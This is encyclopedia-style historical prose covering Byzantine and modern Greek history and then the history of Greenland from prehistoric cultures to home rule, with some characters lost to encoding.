          The history of the Byzantine Empire is described by scholar August Heisenberg as the history "of the Roman state of the Greek nation, that turned Christian". The division of the empire into East and West and the subsequent collapse of the Western Roman Empire were developments that constantly accentuated the position of the Greeks in the empire and eventually allowed them to become identified with it altogether. The leading role of Constantinople began when Constantine the Great turned Byzantium into the new capital of the Roman Empire, henceforth to be known as Constantinople, placing the city at the centre of Hellenism a beacon for the Greeks that lasted to the modern era.
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          The figures of Constantine the Great and Justinian dominated during 324610. Assimilating the Roman tradition, the emperors sought to provide the basis for subsequent developments and for the formation of the Byzantine Empire. Efforts to secure the borders of the Empire and to restore the Roman territories marked the early centuries. At the same time, the definitive formation and establishment of the Orthodox doctrine, but also a series of conflicts resulting from heresies that developed within the boundaries of the empire marked the early period of Byzantine history.


          In the first period of the middle Byzantine era (610867) the empire was attacked both by old enemies ( Persians, Langobards, Avars and Slavs) as well as by new ones, appearing for the first time in history (Arabs, Bulgarians). The main characteristic of this period was that the enemy attacks were not localized to the border areas of the state but they were extended deep beyond, even threatening the capital itself. At the same time, these attacks lost their periodical and temporary character and became permanent settlements that transformed into new states, hostile to Byzantium. Those states were referred by the Byzantines as Sclavinias. Changes were also observed in the internal structure of the empire which was dictated by both external and internal conditions. The predominance of the small free farmers, the expansion of the military estates and the development of the system of themes, brought to completion developments that had started in the previous period. Changes were noted also in the sector of administration: the administration and society had become immiscibly Greek, while the restoration of Orthodoxy after the iconoclast movement, allowed the successful resumption of missionary action among neighbouring peoples and their placement within the sphere of Byzantine cultural influence. During this period the state was geographically reduced and economically damaged, since it lost wealth-producing regions; however, it obtained greater lingual, dogmatic and cultural homogeneity.


          From the late 8th century, the Empire began to recover from the devastating impact of successive invasions, and the reconquest of Greece began. Greeks from Sicily and Asia Minor were brought in as settlers. The Slavs were either driven out or assimilated and the Sclavinias were eliminated. By the middle of the 9th century, Greece was Greek again, and the cities began to recover due to improved security and the restoration of effective central control.


          


          Economic prosperity


          When the Byzantine Empire was rescued from a period of crisis by the resolute leadership of the three Komnenoi emperors Alexios, John and Manuel in the twelfth century, Greece prospered. Recent research has revealed that this period was a time of significant growth in the rural economy, with rising population levels and extensive tracts of new agricultural land being brought into production. The widespread construction of new rural churches is a strong indication that prosperity was being generated even in remote areas. A steady increase in population led to a higher population density, and there is good evidence that the demographic increase was accompanied by the revival of towns. According to Alan Harvey in his book Economic expansion in the Byzantine Empire 900-1200, towns expanded significantly in the twelfth century. Archaeological evidence shows an increase in the size of urban settlements, together with a notable upsurge in new towns. Archaeological evidence tells us that many of the medieval towns, including Athens, Thessaloniki, Thebes and Corinth, experienced a period of rapid and sustained growth, starting in the eleventh century and continuing until the end of the twelfth century. The growth of the towns attracted the Venetians, and this interest in trade appears to have further increased economic prosperity in Greece. Certainly, the Venetians and others were active traders in the ports of the Holy Land, and they made a living out of shipping goods between the Crusader Kingdoms of Outremer and the West while also trading extensively with Byzantium and Egypt.


          


          Artistic revival


          The 11th and 12th centuries are said to be the Golden Age of Byzantine art in Greece. Many of the most important Byzantine churches in around Athens, for example, were built during these two centuries, and this reflects the growth of urbanisation in Greece during this period. There was also a revival in the mosaic art with artists showing great interest in depicting natural landscapes with wild animals and scenes from the hunt. Mosaics became more realistic and vivid, with an increased emphasis on depicting three-dimensional forms. With its love of luxury and passion for colour, the art of this age delighted in the production of masterpieces that spread the fame of Byzantium throughout the whole of the Christian world.
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          Beautiful silks from the work-shops of Constantinople also portrayed in dazzling colour animals -lions, elephants, eagles, and griffins- confronting each other, or representing Emperors gorgeously arrayed on horseback or engaged in the chase. In the provinces, regional schools of Architecture began producing many distinctive styles that drew on a range of cultural influences. All this suggests that there was an increased demand for art, with more people having access to the necessary wealth to commission and pay for such work.


          Yet the marvellous expansion of Byzantine art during this period, one of the most remarkable facts in the history of the empire, did not stop there. From the tenth to the twelfth century Byzantium was the main source of inspiration for the West. By their style, arrangement, and iconography the mosaics of St. Mark's at Venice and of the cathedral at Torcello clearly reveal their Byzantine origin. Similarly those of the Palatine Chapel, the Martorana at Palermo, and the cathedral of Cefalu, together with the vast decoration of the cathedral at Monreale, demonstrate the influence of Byzantium n the Norman Court of Sicily in the twelfth century. Hispano-Moorish art was unquestionably derived from the Byzantine. Romanesque art owes much to the East, from which it borrowed not only its decorative forms but the plan of some of its buildings, as is proved, for instance, by the domed churches of south-western France. Princes of Kiev, Venetian doges, abbots of Monte Cassino, merchants of Amalfi, and the Norman kings of Sicily all looked to Byzantium for artists or works of art. Such was the influence of Byzantine art in the twelfth century, that Russia, Venice, southern Italy and Sicily all virtually became provincial centres dedicated to its production.


          


          The Fourth Crusade


          The year 1204 marks the beginning of the late Byzantine period, when probably the most important event for the Empire occurred. Constantinople was lost for the Greek people for the first time, and the empire was conquered by Latin crusaders and would be replaced by a new Latin one, for 57 years. In addition, the period of Latin occupation decisively influenced the empire's internal development, as elements of feudality entered aspects of Byzantine life. In 1261 the Greek empire was divided between the former Greek Byzantine Comnenos dynasty members (Epirus) and Palaiologos dynasty (the last dynasty until the fall of Constantinople). After the gradual weakening of the structures of the Greek Byzantine state and the reduction of its land from Turkish invasions, came the fall of the Greek Byzantine Empire, at the hands of the Ottomans, in 1453, when the Byzantine period is considered to have ended.


          It must be pointed out that the term "Byzantine" is a contemporary one established by historians. People used to call the Empire from the 10th century on as the Greek Empire as well as Romeo-Greek before that time; that's why Greeks call themselves sometimes as Romioi in a colloquial form. The Romeo term was used sometimes because of the legal tradition left in many aspects of the political administration of the Empire. It must also be added that many empires all around Europe had been using this term, in addition to the Greek Byzantines, like the Carolingians, or the Heiliges Rmisches Reich (Latin Sacrum Romanum Imperium) of the Germans looking themselves as the legitimate heirs of the Roman Empire.


          


          Ottoman Rule and the Rise of Modern Greece
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          When the Ottomans arrived, two Greek migrations occurred. The first migration entailed the Greek intelligentsia migrating to Western Europe and influencing the advent of the Renaissance. The second migration entailed Greeks leaving the plains of the Greek peninsula and resettling in the mountains. Greece being mostly mountainous, the Ottomans could not conquer the entire Greek peninsula since they created neither a military nor an administrative presence in the mountains. There existed many Greek mountain clans all across the peninsula and islands. The Sfakiots of Crete, the Souliots of Epirus, and the Maniots of the Peloponnese were the most resilient mountain clans throughout the Ottoman Empire. By the end of the 16th century up until the 17th century, many Greeks began to migrate from the mountains to the plains. The millet system contributed to the ethnic cohesion of Orthodox Greeks by segregating the various peoples within the Ottoman Empire based on religion. The Greek Orthodox Church, an ethno-religious institution, helped the Greeks from all geographical areas of the peninsula (i.e., mountains, plains, and islands) to preserve their ethnic, cultural, and linguistic heritage during the years of Ottoman rule. The Greeks living in the plains during Ottoman occupation were either Christians who dealt with the burdens of foreign rule or Crypto-Christians (Greek Muslims who were secret practitioners of the Greek Orthodox faith). Many Greeks became Crypto-Christians in order to avoid heavy taxes and at the same time express their identity by maintaining their secret ties to the Greek Orthodox Church. However, Greeks who converted to Islam and were not Crypto-Christians were deemed Turks in the eyes of Orthodox Greeks, even if they didn't adopt Turkish language. On the other hand, this population has played an immense role for the creation of modern Greek culture, as Turkish traditions and customs were learned during the entire occupation period. The most obvious traces of Ottoman influence on Greek culture today are reflected in Greek music and in the Greek kitchen.


          


          The modern Greek state
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          The Ottomans ruled Greece until the early 19th century. On March 25, 1821 (also the same day as the Greek Orthodox day of the Annunciation of the Theotokos), the Greeks rebelled and declared their independence, but did not achieve it until 1829. The big European powers saw the war of Greek independence, with its accounts of Turkish atrocities, in a romantic light (see, for example, the 1824 painting Massacre of Chios by Eugne Delacroix). Scores of non-Greeks volunteered to fight for the cause, including Lord Byron. At times the Ottomans seemed on the point of suppressing the Greek revolution but for the threatened direct military intervention of France, England or Russia. The Russian minister for foreign affairs, Ioannis Kapodistrias, himself a Greek, returned home as President of the new Republic following Greek independence. That republic disappeared when the European powers helped turn Greece into a monarchy; the first king, Otto came from Bavaria and the second, George I from Denmark.


          During the 19th and early 20th centuries, in a series of wars with the Ottomans, Greece sought to enlarge its boundaries to include the ethnic Greek population of the Ottoman Empire. (The Ionian Islands were returned by England upon the arrival of the new king from Denmark in 1863, and Thessaly was ceded by the Ottomans without a fight). As a result of the Balkan Wars of 1912-13 Epirus, southern Macedonia, Crete and the Aegean Islands were annexed into Greece. Greece reached its present configuration in 1947.


          


          World War I and the Greco-Turkish War


          In World War I, Greece sided with the entente powers against Turkey and the other Central Powers. In the war's aftermath, the Great Powers awarded parts of Asia Minor to Greece, including the city of Smyrna (known as İzmir today) which had a majority Greek population. At that time, however, the Turkish nationalists led by Mustafa Kemal Atatrk, overthrew the Ottoman government, organised a military assault on the Greek troops, and defeated them. Immediately afterwards, over one million native Greeks of Turkey had to leave for Greece as a population exchange with hundreds of thousands of Muslims living in the Greek state (see Greco-Turkish War of 1919-1922).


          


          World War 2


          Despite the country's numerically small and ill-equipped armed forces, Greece made a decisive contribution to the Allied efforts in World War II. At the start of the war Greece sided with the Allies and refused to give in to Italian demands. Italy invaded Greece on 28 October 1940, but Greek troops repelled the invaders after a bitter struggle (see Greco-Italian War). This marked the first Allied victory in the war. Hitler then reluctantly stepped in, primarily to secure his strategic southern flank: troops from Germany, Bulgaria and Italy successfully invaded Greece, overcoming Greek, British, Australian and New Zealand units.


          However, when the Germans attempted to seize Crete in a massive attack by paratroopswith the aim of reducing the threat of a counter-offensive by Allied forces in Egypt the Cretan civilians and Allied Forces, offered fierce resistance. The Greek campaign delayed German military plans against Russia and it is argued that German invasion of the Soviet Union started fatally close to winter.


          During the years of Occupation of Greece by Nazi Germany, thousands of Greeks died in direct combat, in concentration camps or of starvation. The occupiers murdered the greater part of the Jewish community despite efforts by the Greek Orthodox Church and many Christian Greeks to shelter Jews. The economy was devastated. After liberation, Greece experienced an equally bitter civil warbetween communist insurgents and government forces (that encompassed republicans, liberals, royalists and conservatives); it lasted until 1949.


          


          Postwar recovery


          In the 1950s and 1960s, Greece developed rapidly, initially with the help of the U.S. Marshall Plans' grants and loans, and later through growth in the tourism sector. In 1967, the Greek military seized power in a coup d'tat, overthrew the centre right government of Panagiotis Kanellopoulos and established the Greek military junta of 1967-1974 which became known as the Rgime of the Colonels. The Central Intelligence Agency was involved in the coup and President Clinton later apologised for the interference. In 1973, the rgime abolished the Greek monarchy. In 1974, dictator Papadopoulos denied help to the U.S. and rumor has it that as a result the U.S., through Kissinger's efforts, initiated a second coup. Colonel Ioannides was appointed as the new head-of-state.


          Many hold Ioannides responsible for the coup against President Makarios of Cyprusthe coup seen as the pretext for the first wave of the Turkish invasion of Cyprus in 1974 (see Greco-Turkish relations). The Cyprus events and the outcry following a bloody suppression of Athens Polytechnic uprising in Athens led to the implosion of the military rgime. A charismatic exiled politician, Konstantinos Karamanlis, returned from Paris as interim prime minister and later gained re-election for two further terms at the head of the conservative Nea Dimokratia party.


          


          Restoration of democracy


          In 1975, following a referendum to confirm the deposition of King Constantine II, a democratic republican constitution came into force. Another previously exiled politician, Andreas Papandreou also returned and founded the socialist PASOK party, which won the elections in 1981 and dominated the country's political course for almost two decades.


          Since the restoration of democracy, the stability and economic prosperity of Greece have remarkably grown. Greece joined the European Union in 1981 and adopted the Euro as its currency in 2001. New infrastructure, funds from the EU and growing revenues from tourism, shipping, services, light industry and the telecommunications industry have brought Greeks an unprecedented standard of living. Tensions continue to exist between Greece and Turkey over Cyprus and the delimitation of borders in the Aegean Sea but relations have considerably thawed following successive earthquakesfirst in Turkey and then in Greeceand an outpouring of sympathy and generous assistance by ordinary Greeks and Turks.
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          The history of Greenland, the world's largest island, is the history of life under extreme Arctic conditions: an ice cap covers about 95 percent of the island, largely restricting human activity to the coasts.


          The first humans are thought to have arrived around 2500 BC. This group apparently died out and were succeeded by several other groups migrating from continental North America. To Europeans, Greenland was unknown until the 10th century, when Icelandic Vikings settled on the southwestern coast. This part of Greenland was apparently unpopulated at the time when the Vikings arrived; the direct ancestors of the modern Inuit Greenlanders are not thought to have arrived until around 1200 AD from the northwest. The Norse settlements along the southwestern coast eventually disappeared after about 500 years. The Inuit thrived in the icy world of the Little Ice Age and were the only inhabitants of the island for several centuries. Denmark-Norway nonetheless claimed the territory, and, after centuries of no contact between the Norse Greenlanders and their Scandinavian brethren, it was feared that the Greenlanders had lapsed back into paganism; so a missionary expedition was sent out to reinstate Christianity in 1721. However, since none of the lost Norse Greenlanders were found, Denmark-Norway instead proceeded to baptize the local Inuit Greenlanders and develop trading colonies along the coast as part of its aspirations as a colonial power. Colonial privileges were retained, such as trade monopoly.


          During World War II, Greenland became effectively detached, socially and economically, from Denmark and more connected to the United States and Canada. After the war, control was returned to Denmark, and, in 1953, the colonial status was transformed into that of an overseas amt (county). Although Greenland is still a part of the Kingdom of Denmark, it has enjoyed home rule since 1979. In 1985, the island became the only territory to leave the European Union, which it had joined as a part of Denmark in 1973.


          


          Early Palaeo-Eskimo cultures


          The prehistory of Greenland is a story of repeated waves of Palaeo-Eskimo immigration from the islands north of the North American mainland. As one of the furthest outposts of these cultures, life was constantly on the edge and cultures have come and then died out during the centuries. Of the period before the Norse exploration of Greenland, archaeology can give only approximate times:


          
            	The Saqqaq culture: 2500800 BC (southern Greenland).


            	The Independence I culture: 24001300 BC (northern Greenland).


            	The Independence II culture: 8001 BC (far northern Greenland).


            	The Early Dorset or Dorset I culture: 700 BCAD 200 (southern Greenland).

          


          There is general consensus that, after the collapse of the Early Dorset culture, the island remained unpopulated for several centuries.


          


          Norse settlement


          Islands off Greenland were sighted by Gunnbjrn Ulfsson when he was blown off course while sailing from Norway to Iceland, probably in the early 10th century. During the 980s, explorers from Iceland and Norway arrived at mainland Greenland and, finding the land unpopulated, settled on the southwest coast. The name Greenland (Grnland in Old Norse and modern Icelandic, Grnland in modern Danish and Norwegian) has its roots in this colonization and is attributed to Erik the Red (the Inuit call it Kalaallit Nunaat, meaning "Land of the Kalaallit (Greenlanders)"). There are two written sources on the origin of the name, in The Book of Icelanders ( slendingabk), an historical work dealing with early Icelandic history from the 12th century, and in the medieval Icelandic saga, The Saga of Erik the Red (Eiriks saga raua), which is about the Norse settlement in Greenland and the story of Eric the Red in particular. Both sources write: "He named the land Greenland, saying that people would be eager to go there if it had a good name."


          At that time, the inner regions of the long fjords where the settlements were located were very different from today. Excavations show that there were considerable birch woods with birch trees up to 4 to 6 meters high in the area around the inner parts of the Tunuliarfik- and Aniaaq-fjords, the central area of the Eastern settlement, and the hills were grown with grass and willow brushes. This was due to the medieval climate optimum. The Norse soon changed the vegetation by cutting down the trees to use as building material and for heating and by extensive sheep and goat grazing during summer and winter. The climate in Greenland was much warmer during the first centuries of settlement but became increasingly colder in the 14th and 15th centuries with the approaching period of colder weather known as the Little Ice Age.


          According to the sagas, Erik the Red was exiled from Iceland for a period of three years, due to a murder. He sailed to Greenland, where he explored the coastline and claimed certain lands as his own. He then returned to Iceland to bring people to settle on Greenland. The date of establishment of the colony is said, in the Icelandic sagas, to have been 985 AD, when 25 ships left with Erik the Red. Only 14 arrived safely in Greenland. This date has been approximately confirmed by radiocarbon dating of some remains at the first settlement at Brattahlid (now Qassiarsuk), which yielded a date of about 1000. According to the sagas, it was also in the year 1000 that Erik's son, Leif Eirikson, left the settlement to discover Vinland, generally assumed to be located in what is now Newfoundland.


          This colony existed as two settlement areas the larger Eastern settlement and the smaller Western settlement Population estimates vary from highs of only 2000 to as many as 10,000 people. More recent estimates such as that of Dr. Niels Lynnerup in "Vikings: The North Atlantic Saga by Fitzhugh Ww and William W. Fitzhugh", have tended toward the lower figure. Ruins of almost 600 farms have been found in the two settlements, 500 in the Eastern settlement and 95 in the Western settlement. This was a significant colony (the population of modern Greenland is only 56,000) and it carried on trade in ivory from walrus tusks with Europe as well as exporting rope, sheep, seals and cattle hides according to one 13th century account. The colony depended on Europe (Iceland and Norway) for iron tools, wood, especially for boatbuilding, which they also may have obtained from coastal Labrador, supplemental foods, and religious and social contacts. Trade ships from Iceland and Norway (from late 13th century all ships were forced by law to sail directly to Norway) traveled to Greenland every year and would sometimes overwinter in Greenland.
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          In 1126, a diocese was founded at Garar (now Igaliku). It was subject to the Norwegian archdiocese of Nidaros (now Trondheim); at least five churches in Norse Greenland are known from archeological remains. In 1261, the population accepted the overlordship of the Norwegian King as well, although it continued to have its own law. In 1380 the Norwegian kingdom entered into a personal union with the Kingdom of Denmark. After initially thriving, the Norse settlements declined in the 14th century. The Western Settlement was abandoned around 1350. In 1378, there was no longer a bishop at Garar. After 1408, when a marriage was recorded, no written records mention the settlers. It is probable that the Eastern Settlement was defunct by the late 15th century although no exact date has been established.


          


          The demise of the Greenland Norse settlements
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          There are many theories as to why the Norse settlements collapsed in Greenland. Jared Diamond, author of Collapse: How Societies Choose to Fail or Succeed, suggests that some or all of five factors contributed to the demise of the Greenland colony: cumulative environmental damage, gradual climate change, conflicts with hostile neighbors, the loss of contact and support from Europe, and, perhaps most crucial, cultural conservatism and failure to adapt to an increasingly harsh natural environment. Numerous studies have tested these hypotheses and some have led to significant discoveries. On the other hand there are dissenters: In The Frozen Echo, Kirsten Seaver contests some of the more generally-accepted theories about the demise of the Greenland colony. Thus Seaver asserts that the Greenland colony, towards the end, was healthier than Diamond and others have thought. Seaver believes that the Greenlanders cannot have starved to death. They may rather have been wiped out by Inuit or unrecorded European attacks, or they may have abandoned the colony to return to Iceland or to seek out new homes in Vinland. However, these arguments seem to conflict with the physical evidence from archeological studies of the ancient farm sites. The paucity of personal belongings at these sites is typical of North Atlantic Norse sites that were abandoned in an orderly fashion, with any useful items being deliberately removed but to others it suggests a gradual but devastating impoverishment. Midden heaps at these sites do show an increasingly impoverished diet for humans and livestock.


          Greenland was always colder in winter than Iceland and Norway, and its terrain less hospitable to agriculture. Erosion of the soil was a danger from the beginning, one that the Greenland settlements may not have recognized until it was too late. For an extended time, nonetheless, the relatively warm West Greenland current flowing northwards along the southwestern coast of Greenland made it feasible for the Norse to farm much as their relatives did in Iceland or northern Norway. Palynologists' tests on pollen counts and fossilized plants prove that the Greenlanders must have struggled with soil erosion and deforestation. As the unsuitability of the land for agriculture became more and more patent, the Greenlanders resorted first to pastoralism and then to hunting for their food. But they never learned to use the hunting techniques of the Inuit, one being a farming culture, the other living of hunting in more northern areas with pack ice.


          To investigate the possibility of climatic cooling, scientists drilled into the Greenland ice caps to obtain core samples. The oxygen isotopes from the ice caps suggested that the Medieval Warm Period had caused a relatively milder climate in Greenland, lasting from roughly 800 to 1200. However from 1300 or so the climate began to cool. By 1420, we know that the "Little Ice Age" had reached intense levels in Greenland. Excavations of midden or garbage heaps from the Viking farms in both Greenland and Iceland show the shift from the bones of cows and pigs to those of sheep and goats. As the winters lengthened, and the springs and summers shortened, there must have been less and less time for Greenlanders to grow hay. By the mid-fourteenth century deposits from a chieftains farm showed a large number of cattle and caribou remains, whereas, a poorer farm only several kilometers away had no trace of domestic animal remains, only seal. Bone samples from Greenland Norse cemeteries confirm that the typical Greenlander diet had increased by this time from 20% sea animals to 80%.


          Although Greenland seems to have been uninhabited at the time of initial Norse settlement, after a couple of centuries the Norse in Greenland had to deal with the Inuit. The Thule-Inuit were the successors of the Dorset who migrated south and finally came into contact with the Norse in the 12th century. There are limited sources showing the two cultures interacting; however, scholars know that the Norse referred to the Inuit (and Vinland natives) as skraeling. The Icelandic Annals are among the few existing sources that confirm contact between the Norse and the Inuit. They report an instance of hostility initiated by the Inuit against the Norse, leaving eighteen Greenlanders dead and two boys carried into slavery. Archeological evidence seems to show that the Inuit traded with the Norse. On the other hand, the evidence shows many Norse artifacts at Inuit sites throughout Greenland and on the Canadian Arctic islands but very few Inuit artifacts in the Norse settlements. This may indicate either European indifferencean instance of cultural resistance to Inuit crafts among themor perhaps hostile raiding by the Inuit. It is also quite possible that the Norse were trading for perishable items such as meat and furs and had little interest in other Inuit items, much as later Europeans who traded with Native Americans.


          We know that the Norse never learned the Inuit techniques of kayak navigation or ring seal hunting. Indeed, they never learned to adjust to the cold winters as the Inuit did. Archeological evidence plainly establishes that by 1300 or so the Inuit had successfully expanded their winter settlements as close to the Europeans as the outer fjords of the Western Settlement. Yet by 1350, the Norse, for whatever reasons, had completely deserted their Western Settlement. It may also have to do with the Inuit being a hunting society, hunted the Norse livestock, forcing the Norse into conflict or abandonment.


          In mild weather conditions, a ship could make the 900-mile (1400 kilometers) trip from Iceland to Eastern settlement within a couple of weeks. Greenlanders had to keep in contact with Iceland and Norway in order to trade. Little is known about any distinctive shipbuilding techniques among the Greenlanders. We do know that they lacked the timber resources of Europe or America, however. So they were completely dependent on Icelandic merchants or, possibly, logging expeditions to the Canadian coast.


          The sagas mention Icelanders traveling to Greenland to trade. But the settlement chieftains and large farm owners controlled this trade. The chieftains would trade with the foreign ships and then disperse the goods by trading with the surrounding farmers. Greenlanders main commodity was the walrus tusk, which was used primarily in Europe as a substitute of elephant ivory for art dcor, whose trade had been blocked by conflict with the Islamic world. Professor Gudmundsson also suggests a very valuable narwhale tusk trade, through a smuggling route via western Iceland (where the Greenlanders came from) to the Orkney islands (where Western Icelanders came from).


          Many scholars believe that the royal Norwegian monopoly on shipping contributed to the end of trade and contact. However, Christianity and European customs continued to hold sway among the Greenlanders for the greater part of the fourteenth and fifteenth centuries. In 1921, a Danish historian, Paul Norland, found human remains from the Eastern Settlement in the Herjolfsnes church courtyard. The bodies were dressed in fifteenth century medieval clothing with no indications of malnutrition or genetic deterioration. Most had crucifixes around their necks with their arms crossed as in a stance of prayer. Perhaps the buried were sailors having died en route or while over wintering. It is known from Roman papal records that the Greenlanders were excused from paying their tithes in 1345 because the colony was suffering from poverty. The last reported ship to reach Greenland was a private ship that was "blown off course", reaching Greenland in 1406, and departing in 1410 with the last news of Greenland: the burning at the stake of a condemned witch, the insanity and death of the woman this witch was accused of attempting to seduce through witchcraft, and the marriage of the ship's captain, Thorsteinn lafsson, to another Icelander, Sigridur Bjrnsdttir. However, there are some suggestions of much later unreported voyages from Europe to Greenland, possibly as late as the 1480s.


          Another theory holds that contact with Europe brought the Black Death to Greenland Norses population. But there is no definite evidence to support this.


          The last of the five factors points to the failure of the Norse to adapt to the changing conditions of Greenland. We know that some of the Norse left Greenland in search of a place called Vinland. When hostile natives injured several of them, they returned to Greenland after only 10 years. The Greenland colony survived for some 450-500 years (985 to 1450-1500 AD). The Norse struggled to adapt, as the excavations show plainly. Some of the Norse, perhaps most, dramatically changed their folkways. But it is not known whether they adapted the ways of the Inuit, even, it seems, when faced with extinction. Most likely no single factor brought about their extinction. What is plain is that the settlement died out once and for all, while contributing 5% to the West Greenlander's DNA.


          One intriguing fact is that we find very few fish remains among their middens. This has led to much speculation and argument. Most archeologists reject any decisive judgment based on this one fact, however, as fish bones decompose more quickly than other remains, and may have been disposed of in a different manner (recycled?). What seems clear is that the Greenlanders never made a transition to pisciculture. And, given the richness of the surrounding sea as a source of protein, their failure to exploit it as well as the Inuit were able to may have led to their demise Jared Diamond speculates that perhaps an early chieftain suffered food poisoning after eating fish and that his proscription was transmitted from generation to generation up to the end. A large number of fish traps and river fish stations are found widespread through both settlements. However Diamond failed to consult with local farmers in South Greenland, most of whom could have shown him ruins of Norse fish huts and fish traps.


          


          Late Dorset and Thule cultures
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          The Norse may not have been alone on the island when they arrived; a new influx of Arctic people from the west, the Late Dorset culture, may predate them. However, this culture was limited to the extreme northwest of Greenland, far from the Norse who lived around the southern coasts. Some archaeological evidence may point to this culture slightly predating the Norse settlement. It disappeared around 1300, around the same time as the western of the Norse settlements disappeared. In the region of this culture, there is archaeological evidence of gathering sites for around four to thirty families, living together for a short time during their movement cycle.


          Around 1200, another Arctic culture the Thule arrived from the west, having emerged 200 years earlier in Alaska. They settled south of the Late Dorset culture and ranged over vast areas of Greenland's west and east coasts. These people, the ancestors of the modern Inuit, were flexible and engaged in hunting of almost all animals on land or in the ocean including big whales. They had dogs which the Dorset did not and used them to pull the dog sledges, they also used bows and arrows contrary to the Dorset. Increasingly settled, they had large food storages to avoid winter famine. The early Thule avoided the highest latitudes, which only became populated again after renewed immigration from Canada in the 19th century.


          The nature of the contacts between the Thule, Dorset and Norse cultures are not clear, but may have included trade elements. The level of contact is currently the subject of widespread debate, possibly including Norse trade with Thule or Dorsets in Canada or possible scavenging of abandoned Norse sites (see also Maine penny). No Norse trade goods are known in Dorset archaeological sites in Greenland; the only Norse items found have been characterized as "exotic items." Carved screw threads on tools and carvings with beards found in settlements on the Canadian Arctic islands show contact with the Norse. Some stories tell of armed conflicts between, and kidnappings by, both Inuit and Norse groups. The Inuit may have reduced Norse food sources by displacing them on hunting grounds along the central west coast. These conflicts can be one contributing factor to the disappearance of the Norse culture as well as for the Late Dorset, but few see it as the main reason. Whatever the cause of that mysterious event, the Thule culture handled it better, not becoming extinct.


          


          Colonization and exploration


          In 1536, Denmark and Norway were officially merged and most pioneers and housing came from Norway. Greenland came to be seen as a Danish dependency rather than a Norwegian one. Even with the contact broken, the Danish King continued to claim lordship over the island. In the 1660s, this was marked by the inclusion of a polar bear in the Danish coat of arms. In the second half of the 17th century Dutch, German, French, Basque, and Dano-Norwegian ships hunted bowhead whales in the pack ice off the east coast of Greenland, regularly coming to shore to trade and replenish drinking water. Their trade was later forbidden by Danish monopoly merchants.


          In 1721 a joint merchant-clerical expedition led by Norwegian missionary Hans Egede was sent to Greenland, not knowing whether the civilization remained there, and worried that if it did, they might still be Catholics 200 years after the Reformation, or, worse yet, have abandoned Christianity altogether. The expedition can also be seen as part of the Danish colonization of the Americas. Gradually, Greenland became opened for Danish merchants, and closed for those from other countries. This new colony was centered at Godthb ("Good Hope") on the southwest coast. Some of the Inuit that lived close to the trade stations were converted to Christianity. In South Greenland a German missionary post attracted South-East Greenlanders, who subsequently abandoned that part of the coast.


          When Norway was separated from Denmark in 1814, after the Napoleonic Wars, the colonies, including Greenland, remained Danish. The 19th century saw increased interest in the region on the part of polar explorers and scientists like William Scoresby and Greenland born Knud Rasmussen. At the same time, the colonial elements of the earlier trade-oriented Danish tight-fist on Greenland expanded. Missionary activities were largely successful under wrath of God. In 1861, the first Greenlandic language journal was founded. Danish law still applied only to the Danish settlers, though.


          At the turn of the 19th century, the northern part of Greenland was still sparsely populated; only scattered hunting inhabitants were found there. During that century however, Inuit families immigrated from British North America to settle in these areas. The last group from what later became Canada arrived in 1864. During the same time, the North Eastern part of the coast became depopulated following the violent 1783 Lakaggar eruption in Iceland.


          Democratic elections for the district assemblies of Greenland were held for the first time in 18621863, although no assembly for the land as a whole was allowed. In 1911, two Landstings were introduced, one for northern Greenland and one for southern Greenland, not to be finally merged until 1951. All this time, most decisions were made in Copenhagen, where the Greenlanders had no representation.


          Towards the end of the 19th century, traders criticized the Danish trade monopoly. It was argued that it kept the natives in non-profitable ways of life, holding back the potentially large fishing industry. Many Greenlanders however were satisfied with the status quo, as they felt the monopoly would secure the future of commercial whaling. It probably did not help that the only contact the local population had with the outside world was with Danish settlers. Nonetheless, the Danes gradually moved over their investments to the fishing industry.


          At the end of the 19th century and beginning of the 20th century, American explorers, including Robert Peary, explored the northern sections of Greenland. Peary discovered that Greenland was an island and mapped the northern coasts. These discoveries were considered to be the basis of an American territorial claim in the area. All claims in Greenland itself were ceded to Denmark by a declaration connected with the U.S. Virgin Islands purchase treaty.


          


          Strategic importance


          After Norway regained full independence in 1905, it refused to accept Denmark's sovereignty over Greenland, which was a former Norwegian possession severed from Norway proper in 1814. In 1931, Norwegian whaler Hallvard Devold occupied uninhabited eastern Greenland, on his own initiative. After the fact, the occupation was supported by the Norwegian government. Two years later, the Permanent Court of International Justice ruled in favour of the Danish view.
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          During World War II, when Germany extended its war operations to Greenland, Henrik Kauffmann, the Danish Minister to the United States who had already refused to recognize the German occupation of Denmark signed a treaty with the United States on April 9, 1941, granting the US Armed Forces permission to establish stations in Greenland. Because of the difficulties for the Danish government to govern the island during the war, and because of successful export, especially of cryolite, Greenland came to enjoy a rather independent status. Its supplies were guaranteed by the United States and Canada.


          During the Cold War, Greenland had a strategic importance, controlling parts of the passage between the Soviet Arctic harbours and the Atlantic, as well as being a good base for observing any use of intercontinental ballistic missiles, typically planned to pass over the Arctic. The United States therefore had a geopolitical interest in Greenland, and in 1946, the United States offered to buy Greenland from Denmark for $100,000,000, but Denmark did not agree to sell. In 1951, the Kauffman treaty was replaced by another one. The Thule Air Base at Thule (now Qaanaaq) in the northwest was made a permanent air force base. In 1953, some Inuit families were forced by Denmark to move from their homes to provide space for extension of the base. For this reason, the base has been a source of friction between the Danish government and the Greenlandic people. Tensions mounted when, on January 21, 1968, there was a nuclear accident a B-52 Stratofortress carrying four hydrogen bombs crashed near the base, leaking large amounts of plutonium over the ice. Although most of the plutonium was retrieved, natives still make claims about resulting deformations in animals.


          


          Home rule


          The colonial status of Greenland was lifted in 1953, when it became an integral part of the Danish kingdom, with representation in the Folketing. Denmark also began a programme of providing medical service and education to the Greenlanders. As a result, the population became more and more concentrated to the towns. Since most of the inhabitants were fishermen and had a hard time finding work in the towns, these population movements may have contributed to unemployment and other social problems that have troubled Greenland lately.


          As Denmark engaged in the European cooperation later to become the European Union, friction with the former colony grew. Greenlanders felt the European customs union would be harmful to their trade, which was largely carried out with non-European countries such as the United States and Canada. After Denmark, including Greenland, joined the union in 1973 (despite 70.3% of Greenlanders having voted against entry in the referendum), many residents thought that representation in Copenhagen was not sufficient, and local parties began pleading for self-government. The Folketing granted this in 1978, the home rule law coming into effect the following year. On February 23, 1982, a majority (53%) of Greenland's population voted to leave the European Community, which it did in 1985, the only governmental entity to have done so.


          Self-governing Greenland has portrayed itself as an Inuit nation. Danish placenames have been replaced. The centre of the Danish civilization on the island, Godthb, has become Nuuk, the capital of a close-to-sovereign country. In 1985, a Greenlandic flag was established, using the colours of the Danish Dannebrog. However, the movement for complete sovereignty is still weak.


